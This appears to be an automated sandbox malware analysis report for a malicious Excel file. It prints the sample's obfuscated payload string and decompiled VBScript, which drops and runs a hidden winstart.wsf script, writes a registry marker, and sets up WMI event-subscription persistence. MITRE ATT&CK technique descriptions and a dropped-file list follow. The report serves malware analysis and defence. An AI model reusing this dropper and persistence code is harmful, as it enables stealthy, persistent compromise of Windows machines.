Wl231\|7h5g0Q\|ZsLNMW\|fh7gfZ\|yWplyG\|qYiUho\|31bN3W\|Mebn7X\|3GiSkq\|JkuHfJ\|igASKl\|Lv5glj\|Os4Aig\|ASKU3p\|MWfGyw\|xcVUxv\|yHPcug\|AcKwXE\|VUXIMn\|Tl5nbq\|MWAWKw\|xlNqpd\|31qQ5H\|TaugA2\|764Ai8\|X23wPJ\|3uASKW\|fj76QS\|s8El78\|XW32Eg\|7JA03w\|Eq5GTJ\|iSUX6W\|ASKlLv\|Mnqeug\|A2764A\|iRLvMn\|qX6WAS\|KlLvMn\|qedWPt\|3s4Aig\|Eh5wuX\|6WASKl\|LvMnqe\|bwEhyW\|xl364A\|iRXJy1\|blNqpd\|31qQyH\|AcugA2\|7RmQZs\|LvyWpq\|5HxpyG\|UebHxv\|yWPc5R\|lZMgfe\|ugA27R\|mX6WXv\|5PLvMn\|bzVUPU\|36hvyW\|pq5GTJ\|kqJkuH\|fJigAS\|KUP0M6\|4Ai8X2\|3wPJ3u\|ASKWfj\|76QSs8\|El78XW\|32Eg7J\|PI7ghv\|MWlD3w\|bLMRLc\|KwXh7g\|lv5Sip\|NqpvyW\|pLMR4e\|dWPt3s\|4Ai6TX\|Of7lyU\|P0M6iX\|6WASKU\|P0M6ET\|uP3lMn\|Xp5HFQ\|Zs42Nq\|pvyWpL\|MR4euR\|TvyHfz\|MJltyw\|7lbWlc\|3,""","""") -> yM = ""MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|MSTWUW\|iSElOg\|uniSUX\|6U3vMS\|LPywXY\|igJQsw\|FQ51L2\|5HmX6W\|Je7gf2\|5wley1\|blk6UX\|6UElOR\|qX6UEl\|ORqX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAeig\|XYKG7z\|MRiYkq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WXYKG\|7zMRiQ\|Zs4Sw6\|iX6Ubp\|5sL15w\|Ucdwfe\|52xX3w\|EvqsxX\|3wEvdQ\|JkuHfJ\|iP7tKd\|IR31bZ\|yWplyG\|qYin7p\|5WIn51\|bzolxM\|Vlx25H\|AJ1gXp\|51y2iS\|UX6lXl\|76LtMR\|TvyzI1\|5wUe31\|hlyGPI\|31TEk6\|Tz3wxl\|yGqQkS\|LWMWAt\|iR7p5j\|m21GL2\|5HXlMG\|mSkqJk\|bWA2i8\|fhyHQQ\|MRTvi8\|leigI0\|MWAjNq\|pT3SLm\|qHPz3s\|h0MWBe\|5WPt3s\|UQZs4S\|51ltKw\|ElMSEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|i6TXiS\|LP5WqQ\|swyX6U\|lWi8xN\|y1XlkR\|L252Ee\|ywIlks\|4Ai6Tt\|OwIp5W\|f2ysEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iU8Si8\|fe36LT\|3QJksw\|yQd8Xh\|MHuYMR\|TvVWEh\|5wupiN\|JQiWIE\|5wle31\|TeVWfF\|3siQfg\|hl5QJk\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iUFSNq\|pPOglJ\|i83vMQ\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fZ3W3p\|yHuQkg\|PU3RTY\|5GXJkq\|JkMRTl\|bgAG5S\|4SdWA2\|5wPcVW\|bvy2ic\|KwEz7g\|Pc5gbp\|MS0SMW\|teMW0e\|f8Iqms\|iciWFS\|VNqX6n\|L23ubv\|7HFQiU\|Tv5Hce\|OgxziS\|xp5nXJ\|ywxc3g\|l2V6T2\|KHE256\|Eudf42\|iS0S5S\|icXqJk\|bwEUiP\|XIyQJk\|bnfeyG\|bp5HFQ\|MRTlbg\|AG5ShW\|KwxldW\|Pt3sxz\|y13lug\|PJK6xz\|y13ldW\|Pt3sxl\|OgfjVg\|UpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk71\|TciNJQ\|dgfW76\|hY5GXJ\|V6LT5l\|XJMlTl\|7ShY5G\|XJV6iv\|iSUpi6\|yQ3Wlc\|3uEh5w\|uX6Wbv\|7HEc5H\|PUiRf2\|56xzy1\|3lugPJ\|K6xzy1\|3ldWPt\|3sxlOg\|fjNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkuW\|Av7RTl\|M24Aig\|XYKGTv\|5GqX6n\|f2564A\|iPX05g\|lJi6hs\|5HAJMW\|fzV6iB\|9NFSks\|hpkqJk\|5WfJiN\|JQuGLc\|K1qQkR\|f2560S\|96ipkN\|8pNqpU\|5G7e5g\|Ah36Le\|31qcMH\|PH3fLh\|7gQcMH\|PH3uEh\|5wuc31\|hly0Jk\|bwEUi8\|lWNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkMR\|TlbgAG\|5S4Ai8\|3h5RXl\|NqpP5R\|XlNqp0\|MWf85G\|7eiNJQ\|fRTI3q\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|i87l78\|lqk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTaf2\|xj5HxL\|Nqpd31\|qQ5HTa\|f24Ai8\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|JkuHfJ\|igXv58\|8QZsLv\|yWp1VU\|fF3wXb\|7wf2Os\|QSuJfm\|buXui6\|YQblTZ\|dsL1Kw\|FzmlAo\|31bG5G\|Trqwbh\|MRblMU\|Xv5W3p\|3Gf2y1\|bp5HFQ\|fJhPuU\|uQsfLP\|5WPS5g\|fUiNJQ\|fRTI3s\|ipNqpT\|3SLj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4piN0+\|i6iSiP\|bY3wFX\|6WxvyH\|PcdwPj\|iNJQuW\|f05gPj\|3shj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4pV6iD\|iS0SiS\|UX6Ufe\|36LT3Q\|JkbHfJ\|sf4QZs\|Lj5HxL\|VUlJ3w\|IT5Wbl\|O6Q0ks\|ETu8PU\|3RTlMG\|mYm6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|bWl23f\|7h5g0Y\|5WPt3s\|x05GTJ\|VRXJy1\|blVR7l\|yUP0M6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|Nqpd31\|qQ5HTa\|bWl231\|7h5g0Q\|ZsLNMW\|fh7gfZ\|yWplyG\|qYiUho\|31bN3W\|Mebn7X\|3GiSkq\|JkuHfJ\|igASKl\|Lv5glj\|Os4Aig\|ASKU3p\|MWfGyw\|xcVUxv\|yHPcug\|AcKwXE\|VUXIMn\|Tl5nbq\|MWAWKw\|xlNqpd\|31qQ5H\|TaugA2\|764Ai8\|X23wPJ\|3uASKW\|fj76QS\|s8El78\|XW32Eg\|7JA03w\|Eq5GTJ\|iSUX6W\|ASKlLv\|Mnqeug\|A2764A\|iRLvMn\|qX6WAS\|KlLvMn\|qedWPt\|3s4Aig\|Eh5wuX\|6WASKl\|LvMnqe\|bwEhyW\|xl364A\|iRXJy1\|blNqpd\|31qQyH\|AcugA2\|7RmQZs\|LvyWpq\|5HxpyG\|UebHxv\|yWPc5R\|lZMgfe\|ugA27R\|mX6WXv\|5PLvMn\|bzVUPU\|36hvyW\|pq5GTJ\|kqJkuH\|fJigAS\|KUP0M6\|4Ai8X2\|3wPJ3u\|ASKWfj\|76QSs8\|El78XW\|32Eg7J\|PI7ghv\|MWlD3w\|bLMRLc\|KwXh7g\|lv5Sip\|NqpvyW\|pLMR4e\|dWPt3s\|4Ai6TX\|Of7lyU\|P0M6iX\|6WASKU\|P0M6ET\|uP3lMn\|Xp5HFQ\|Zs42Nq\|pvyWpL\|MR4euR\|TvyHfz\|MJltyw\|7lbWlc\|3 executed
177	VBS = Replace(VBS, """", """""")	Replace("?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>",""","""") -> ?PNG<job id=""cSJXhQP""><script language=""VBScript"" src=""TMP.TMP"">eval(""ex""&""ecut""&""e(cSJXhQPeXe)=1"")</Script></job> executed
179	txt = "On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """
180	txt = txt & DM & """:Set objFile = Fso.CreateTextFile(dir&""TMP.TMP"",True,False):objFile.write DMtxt:objFile.close:VBStxt = """
181	txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"
183	WmiConsumer objConn, txt, "rknrlwsf"
185	End Function

Function
WmiConsumerAPIs: 20, Strings: 8, Number of lines: 25, Relevance: 42.025

APIs	Meta Information
Get
Name
scriptingengine
ScriptText
put_
Get
timerid
intervalbetweenevents
skipifpassed
put_
Get
Name
Query
querylanguage
put_
Get
Path
Filter
Path
put_

Strings	Decrypted Strings
"rknrlwsf"
"Active""Script""EventC""onsumer"
"vbscript"
"__Inter""valTim""erInst""ruction"
"__EventFilter"
"select * from __timerevent where timerid="""
"wql"
"__Filter""ToConsumer""Binding"

Line	Instruction	Meta Information
187	Function WmiConsumer(objConn, txt, consumer)
188	On Error Resume Next	executed
189	dn = "rknrlwsf"
190	runinterval = 1500
191	stxt = txt
192	Set asec = objConn.Get("Active" & "Script" & "EventC" & "onsumer").spawninstance_	Get
193	asec.Name = consumer & "_consumer"	Name
194	asec.scriptingengine = "vbscript"	scriptingengine
195	asec.ScriptText = stxt	ScriptText
196	Set asecpath = asec.put_	put_
197	Set itimer = objConn.Get("__Inter" & "valTim" & "erInst" & "ruction").spawninstance_	Get
198	itimer.timerid = dn & "_itimer"	timerid
199	itimer.intervalbetweenevents = runinterval	intervalbetweenevents
200	itimer.skipifpassed = False	skipifpassed
201	itimer.put_	put_
202	Set evtflt = objConn.Get("__EventFilter").spawninstance_	Get
203	evtflt.Name = dn & "_filter"	Name
204	evtflt.Query = "select * from __timerevent where timerid=""" & dn & "_itimer"""	Query
205	evtflt.querylanguage = "wql"	querylanguage
206	Set fltpath = evtflt.put_	put_
207	Set fcbnd = objConn.Get("__Filter" & "ToConsumer" & "Binding").spawninstance_	Get
208	fcbnd.consumer = asecpath.Path	Path
209	fcbnd.Filter = fltpath.Path	Filter Path
210	fcbnd.put_	put_
211	End Function

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6fW0GedR6j.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\TMP.TMP

C:\Users\Default\AppData\Local\Temp\TMP.TMP

C:\Users\Default\AppData\Local\Temp\winstart.wsf

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\playback[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\api[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\api[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\playback[1].htm

C:\Users\user\AppData\Local\Temp\DM7332.tmp (copy)

C:\Users\user\AppData\Local\Temp\TMP.TMP

C:\Users\user\AppData\Local\Temp\radAB5F5.tmp

Windows Analysis Report
6fW0GedR6j.xls